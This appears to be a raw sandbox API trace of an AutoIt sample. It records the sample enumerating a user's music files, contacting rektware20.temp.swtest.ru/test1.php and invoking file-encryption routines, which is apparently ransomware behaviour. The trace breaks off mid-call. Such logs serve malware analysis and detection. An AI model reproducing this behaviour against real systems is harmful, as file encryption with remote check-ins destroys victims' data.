FindClose (in: hFindFile=0x164c770 | out: hFindFile=0x164c770) returned 1 [0065.078] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0065.079] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0065.079] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0065.079] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0065.079] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0065.079] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0065.079] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0065.079] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0065.079] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0065.079] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0065.079] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0065.079] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e38, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620e38, lpdwBufferLength=0x130ef8c) returned 1 [0065.079] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0065.079] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0065.080] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0065.080] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0065.080] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0065.080] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0065.080] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629320, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629320*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0065.080] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292f0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292f0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0065.080] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0065.081] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0065.081] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0065.081] CloseHandle (hObject=0x0) returned 0 [0065.081] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.081] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.081] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.081] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.081] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.081] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.081] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.081] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.081] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.081] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.081] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.081] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.081] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.081] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.081] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.081] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.081] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.081] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.081] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.081] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.081] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.081] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.081] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="usic\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sic\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ic\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8kXLJPjCaYia\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kXLJPjCaYia\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XLJPjCaYia\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LJPjCaYia\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JPjCaYia\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PjCaYia\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jCaYia\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CaYia\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="aYia\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Yia\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ia\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="YxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="UCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Lz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="hbDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bDg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Dg\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="g\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.083] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="r4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.083] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.083] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RUy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.083] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Uy899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.083] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="y899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.083] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="899HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.083] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="99HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.083] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="9HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.083] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HJdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.083] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JdT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.083] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="dT5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.083] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="T5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.083] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.083] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Dygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.083] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ygu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.083] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gu9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.083] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="u9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.083] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="9LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.083] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.083] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="J.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.083] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0065.083] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.083] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0065.083] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0065.083] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0065.084] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0065.084] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0065.084] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0065.084] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0065.084] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0065.084] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d30, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620d30, lpdwBufferLength=0x130ee1c) returned 1 [0065.084] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0065.084] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0065.084] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0065.084] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0065.084] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0065.084] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0065.084] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292f0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292f0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0065.085] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629400, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629400*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0065.085] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0065.085] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0065.085] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0065.085] CloseHandle (hObject=0x0) returned 0 [0065.085] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.085] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0065.085] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0065.085] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.085] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0065.085] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.085] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.086] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0065.086] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.086] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0065.086] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.086] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.086] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0065.086] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.086] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.086] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.086] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.086] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.086] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0065.086] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.086] WideCharToMultiByte (in: CodePage=0x0, 